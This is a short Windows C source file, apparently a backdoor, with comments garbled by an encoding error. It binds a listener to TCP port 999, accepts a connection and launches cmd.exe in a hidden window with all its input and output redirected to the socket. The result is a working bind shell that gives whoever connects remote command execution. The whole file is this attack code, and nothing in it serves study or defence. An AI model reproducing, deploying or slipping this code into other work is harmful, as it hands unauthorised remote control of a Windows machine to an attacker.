| 1 | #pragma comment(lib, "ws2_32.lib")
|
|---|
| 2 | #include <winsock2.h>
|
|---|
| 3 | #include <windows.h>
|
|---|
| 4 |
|
|---|
| 5 |
|
|---|
| 6 | #define MasterPort 999 //¶¨Òå¼àÌý¶Ë¿Ú999
|
|---|
| 7 | int main() //Ö÷º¯ÊýÈë¿Ú
|
|---|
| 8 | {
|
|---|
| 9 | WSADATA WSADa;
|
|---|
| 10 | sockaddr_in SockAddrIn;
|
|---|
| 11 | SOCKET CSocket,SSocket;
|
|---|
| 12 | int iAddrSize;
|
|---|
| 13 | PROCESS_INFORMATION ProcessInfo;
|
|---|
| 14 | STARTUPINFO StartupInfo;
|
|---|
| 15 | char szCMDPath[255];
|
|---|
| 16 | //·ÖÅäÄÚ´æ×ÊÔ´£¬³õʼ»¯Êý¾Ý£º
|
|---|
| 17 | ZeroMemory(&ProcessInfo, sizeof(PROCESS_INFORMATION));
|
|---|
| 18 | ZeroMemory(&StartupInfo, sizeof(STARTUPINFO));
|
|---|
| 19 | ZeroMemory(&WSADa, sizeof(WSADATA));
|
|---|
| 20 | //»ñÈ¡cmd·¾¶
|
|---|
| 21 | GetEnvironmentVariable("COMSPEC",szCMDPath,sizeof(szCMDPath));
|
|---|
| 22 | //¼ÓÔØws2_32.dll£º
|
|---|
| 23 | WSAStartup(0x0202,&WSADa);
|
|---|
| 24 | //ÉèÖñ¾µØÐÅÏ¢ºÍ°ó¶¨ÐÒ飬½¨Á¢socket£¬´úÂëÈçÏ£º
|
|---|
| 25 | SockAddrIn.sin_family = AF_INET;
|
|---|
| 26 | SockAddrIn.sin_addr.s_addr = INADDR_ANY;
|
|---|
| 27 | SockAddrIn.sin_port = htons(MasterPort);
|
|---|
| 28 | CSocket = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
|
|---|
| 29 | //ÉèÖð󶨶˿Ú999£º
|
|---|
| 30 | bind(CSocket,(sockaddr *)&SockAddrIn,sizeof(SockAddrIn));
|
|---|
| 31 | //ÉèÖ÷þÎñÆ÷¶Ë¼àÌý¶Ë¿Ú£º
|
|---|
| 32 | listen(CSocket,1);
|
|---|
| 33 | iAddrSize = sizeof(SockAddrIn);
|
|---|
| 34 | //¿ªÊ¼Á¬½ÓÔ¶³Ì·þÎñÆ÷£¬²¢ÅäÖÃÒþ²Ø´°¿Ú½á¹¹Ì壺
|
|---|
| 35 | SSocket = accept(CSocket,(sockaddr *)&SockAddrIn,&iAddrSize);
|
|---|
| 36 | StartupInfo.cb = sizeof(STARTUPINFO);
|
|---|
| 37 | StartupInfo.wShowWindow = SW_HIDE;
|
|---|
| 38 | StartupInfo.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
|
|---|
| 39 | StartupInfo.hStdInput = (HANDLE)SSocket;
|
|---|
| 40 | StartupInfo.hStdOutput = (HANDLE)SSocket;
|
|---|
| 41 | StartupInfo.hStdError = (HANDLE)SSocket;
|
|---|
| 42 | //´´½¨ÄäÃû¹ÜµÀ£º
|
|---|
| 43 | CreateProcess(NULL, szCMDPath, NULL, NULL, TRUE, 0, NULL, NULL, &StartupInfo, &ProcessInfo);
|
|---|
| 44 | WaitForSingleObject(ProcessInfo.hProcess, INFINITE);
|
|---|
| 45 | CloseHandle(ProcessInfo.hProcess);
|
|---|
| 46 | CloseHandle(ProcessInfo.hThread);
|
|---|
| 47 | //¹Ø±Õ½ø³Ì¾ä±ú£º
|
|---|
| 48 | closesocket(CSocket);
|
|---|
| 49 | closesocket(SSocket);
|
|---|
| 50 | WSACleanup();
|
|---|
| 51 | //¹Ø±ÕÁ¬½ÓÐ¶ÔØws2_32.dll
|
|---|
| 52 | return 0;
|
|---|
| 53 | }
|
|---|